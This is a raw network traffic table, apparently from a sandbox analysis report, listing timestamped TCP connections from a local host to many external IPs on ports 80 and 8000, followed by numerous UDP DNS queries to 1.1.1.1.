Nov 11, 2024 18:52:17.910717964 CET	49787	80	192.168.2.6	76.223.67.189
Nov 11, 2024 18:52:17.915824890 CET	80	49787	76.223.67.189	192.168.2.6
Nov 11, 2024 18:52:17.916975021 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:52:17.917061090 CET	49786	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:52:17.917093039 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:52:17.921948910 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:52:17.921972036 CET	80	49786	64.225.91.73	192.168.2.6
Nov 11, 2024 18:52:17.922007084 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:52:17.943623066 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:52:17.949567080 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:52:17.949615955 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:52:17.964993954 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:52:17.965039968 CET	49739	80	192.168.2.6	13.248.169.48
Nov 11, 2024 18:52:17.965070963 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:17.965112925 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:52:17.970462084 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:52:17.970479012 CET	80	49739	13.248.169.48	192.168.2.6
Nov 11, 2024 18:52:17.970980883 CET	80	49716	199.191.50.83	192.168.2.6
Nov 11, 2024 18:52:17.971018076 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:52:17.971040964 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:52:17.976119041 CET	80	49718	188.114.96.3	192.168.2.6
Nov 11, 2024 18:52:17.976165056 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:52:17.982958078 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:52:17.988029003 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:52:17.989379883 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:18.012856007 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:52:18.018429041 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:52:18.018644094 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:52:18.178487062 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:18.194123030 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:18.272263050 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:18.287863016 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:18.787859917 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:18.803524017 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:18.881643057 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:18.897222042 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:19.992405891 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:20.006589890 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:20.084707975 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:20.100342989 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:22.397166967 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:22.412811995 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:22.490920067 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:22.506551027 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:27.303385973 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:52:27.351532936 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:27.351540089 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:27.403939009 CET	53397	80	192.168.2.6	199.59.243.227

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2024 18:50:27.739584923 CET	50729	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.740468025 CET	59689	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.742535114 CET	60022	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.750818968 CET	50758	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.751435041 CET	53	59689	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.755872011 CET	64190	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.772382021 CET	62732	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.773113012 CET	53	60022	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.775114059 CET	61584	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.782449961 CET	53	62732	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.789493084 CET	57091	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.795881033 CET	53	61584	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.800216913 CET	53	57091	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.807275057 CET	57136	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.808139086 CET	57118	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.815541029 CET	53	57118	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.816816092 CET	53	57136	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.823378086 CET	61416	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:27.832530975 CET	53	61416	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.944394112 CET	53	50729	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.952097893 CET	53	64190	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:27.968569994 CET	53	50758	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.000561953 CET	52164	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.249588966 CET	53	52164	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.359999895 CET	64744	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.360097885 CET	51311	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.362373114 CET	63103	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.365150928 CET	64616	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.365709066 CET	55570	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.365735054 CET	57246	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.367583990 CET	53	64744	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.368521929 CET	60367	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.368560076 CET	53	51311	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.368657112 CET	49236	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.369975090 CET	61150	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.370503902 CET	54421	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.371145964 CET	63778	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.371927977 CET	62038	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.372406960 CET	63974	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.372744083 CET	53	63103	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.373025894 CET	50884	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.374234915 CET	53	57246	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.374922991 CET	53	55570	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.375605106 CET	53	64616	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.377393007 CET	53	61150	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.380754948 CET	51273	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.381036043 CET	49645	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.381134033 CET	62201	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.381264925 CET	59869	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.381477118 CET	65237	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.381747007 CET	53149	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.381918907 CET	58269	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.382102013 CET	64263	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.382304907 CET	61099	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.383105040 CET	53	62038	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.384108067 CET	53	63778	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.388629913 CET	53	53149	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.390916109 CET	53	51273	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.391107082 CET	53	65237	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.391117096 CET	53	54421	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.391613007 CET	64913	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.391796112 CET	49946	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.391987085 CET	55766	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.392107964 CET	53	49645	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.392117977 CET	53	58269	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.392151117 CET	65297	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.392851114 CET	53	61099	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.392862082 CET	53	64263	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.393465042 CET	52624	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.394359112 CET	59768	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.394542933 CET	56317	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.394542933 CET	51063	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.395817995 CET	62312	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.396060944 CET	63505	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.396348000 CET	53133	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.400861979 CET	53	60367	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.401792049 CET	53	62201	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.401968002 CET	53	49946	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.402671099 CET	53	55766	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.403134108 CET	53	52624	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.403167009 CET	53	63974	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.403513908 CET	53	50884	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.403744936 CET	53	59768	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.407493114 CET	53	53133	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.409426928 CET	57476	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.410202980 CET	51903	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.410594940 CET	58084	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.410768032 CET	53259	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.412308931 CET	57000	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.412553072 CET	53	59869	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.412559986 CET	63794	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.413017988 CET	54128	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.413105965 CET	55622	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.413279057 CET	53302	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.413712978 CET	56520	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.415435076 CET	53	65297	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.420938015 CET	53	58084	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.421739101 CET	53	51903	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.423144102 CET	53	56520	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.424077988 CET	53	53302	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.424088001 CET	53	63794	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.425787926 CET	53	51063	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.426613092 CET	53	56317	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.433278084 CET	50524	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.433336020 CET	64186	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.433917999 CET	61671	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.433918953 CET	54275	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.433950901 CET	53	53259	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.434117079 CET	56106	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.434166908 CET	64439	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.434708118 CET	61664	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.435158968 CET	57990	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:28.441548109 CET	53	57476	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.442475080 CET	53	57990	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.443753004 CET	53	54275	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.444360018 CET	53	54128	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.444370985 CET	53	50524	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.444434881 CET	53	61664	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.445256948 CET	53	64186	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.451479912 CET	53	64439	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.464906931 CET	53	61671	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.559668064 CET	53	49236	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.605309010 CET	53	55622	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.608741999 CET	53	57000	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.625744104 CET	53	64913	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.672666073 CET	53	56106	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:28.894217968 CET	53	62312	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:29.290683985 CET	53	63505	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:30.313244104 CET	51764	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:30.683914900 CET	53	51764	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:32.328984022 CET	61014	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:32.465537071 CET	53	61014	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.346052885 CET	63220	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.349822044 CET	51258	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.353801966 CET	56768	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.361577034 CET	60767	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.362049103 CET	53	63220	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.366065025 CET	54500	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.367285967 CET	56873	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.376848936 CET	53	54500	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.377979040 CET	53	56873	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.381247044 CET	53	51258	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.384489059 CET	56028	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.385446072 CET	64244	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.386140108 CET	53	56768	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.387006044 CET	61932	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.388262987 CET	51176	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.393594027 CET	53	60767	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.394844055 CET	65387	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.397439957 CET	53	61932	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.398766994 CET	53	51176	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.404419899 CET	53	65387	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.410953045 CET	63108	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.416418076 CET	53	56028	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.417484999 CET	53	64244	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.419688940 CET	56898	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.421250105 CET	53	63108	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.424951077 CET	62002	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.427814007 CET	57386	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.428821087 CET	50402	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.430557966 CET	53	56898	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.437861919 CET	53	62002	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.437875032 CET	53	57386	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.438379049 CET	53	50402	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.444664955 CET	49644	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.445023060 CET	59585	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.450146914 CET	52062	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.453931093 CET	64443	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.455542088 CET	53	59585	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.455692053 CET	53	49644	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.455847025 CET	56964	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.458620071 CET	53895	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.463515997 CET	53	52062	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.463527918 CET	53	64443	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.465914965 CET	53	56964	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.468007088 CET	59097	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.468827963 CET	60690	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.469866991 CET	53	53895	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.477838993 CET	53	59097	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.480700970 CET	53	60690	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.543097019 CET	63318	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.549917936 CET	57535	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.553993940 CET	53	63318	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.560441017 CET	53	57535	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.563604116 CET	61162	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.571603060 CET	59069	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.573311090 CET	53	61162	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.581572056 CET	53	59069	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.588484049 CET	50536	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.589489937 CET	53266	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.589943886 CET	64831	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.590672016 CET	50224	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.599112034 CET	53	50536	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.601521969 CET	53	50224	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.601814032 CET	53	53266	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.602468014 CET	53	64831	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.620101929 CET	63541	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.621606112 CET	64460	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.641482115 CET	53	64460	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.645428896 CET	53643	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.645728111 CET	57552	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.646007061 CET	51139	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.646249056 CET	62737	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.646466970 CET	56021	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.646656036 CET	58452	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.650836945 CET	53	63541	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.652326107 CET	65159	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.654469967 CET	53	58452	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.656436920 CET	53	62737	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.665158987 CET	52639	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.665330887 CET	64309	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.665642023 CET	50766	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.665957928 CET	64374	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.672481060 CET	50028	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.673048019 CET	62760	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.673651934 CET	54201	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.676214933 CET	53	52639	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.676316023 CET	49800	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.676779985 CET	49838	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.677582979 CET	53	64374	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.677594900 CET	53	51139	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.678179979 CET	53	53643	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.678191900 CET	53	56021	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.682285070 CET	53	50028	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.682526112 CET	53	62760	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.683706045 CET	53	65159	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.685105085 CET	53	54201	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.685956001 CET	55424	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.686845064 CET	53	49800	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.687298059 CET	49706	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.687725067 CET	64069	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.688175917 CET	64906	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.688376904 CET	58229	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.688544989 CET	49540	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.690730095 CET	57000	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.691030025 CET	54883	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.691454887 CET	55937	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.694997072 CET	50157	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.695271969 CET	63213	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.695518970 CET	49252	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.697474957 CET	53	64069	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.697840929 CET	53	64309	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.698263884 CET	53	58229	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.700295925 CET	53	57000	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.700715065 CET	53	50766	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.704546928 CET	53	50157	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.705310106 CET	53	49252	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.712315083 CET	50081	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.716938972 CET	63013	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:33.718354940 CET	53	55424	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.718367100 CET	53	49706	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.721501112 CET	53	49540	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.722359896 CET	53	55937	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.722371101 CET	53	54883	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.726025105 CET	53	63213	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.726321936 CET	53	50081	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.727238894 CET	53	63013	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.847707987 CET	53	57552	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:33.883162022 CET	53	49838	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:34.539207935 CET	53	64906	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.678922892 CET	59831	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.687304020 CET	65485	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.690649986 CET	55284	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.691045046 CET	51507	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.694417953 CET	63262	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.697556973 CET	53	59831	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.699376106 CET	53	65485	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.700654984 CET	57002	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.703294039 CET	53	55284	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.703557968 CET	53	51507	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.705518007 CET	53	63262	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.707710028 CET	55711	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.708123922 CET	49894	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.712287903 CET	53	57002	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.714607000 CET	64604	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.714782000 CET	60550	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.716830015 CET	59500	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.718161106 CET	62328	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.718504906 CET	51649	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.719069004 CET	51095	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.719429016 CET	62734	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.719788074 CET	63221	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.720439911 CET	56259	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.720674038 CET	49362	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.721811056 CET	53	49894	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.721852064 CET	50418	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.721852064 CET	59979	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.721852064 CET	61088	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.722505093 CET	54518	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.722604036 CET	53	55711	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:38.723274946 CET	64485	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:38.723417044 CET	56622	53	192.168.2.6	1.1.1.1
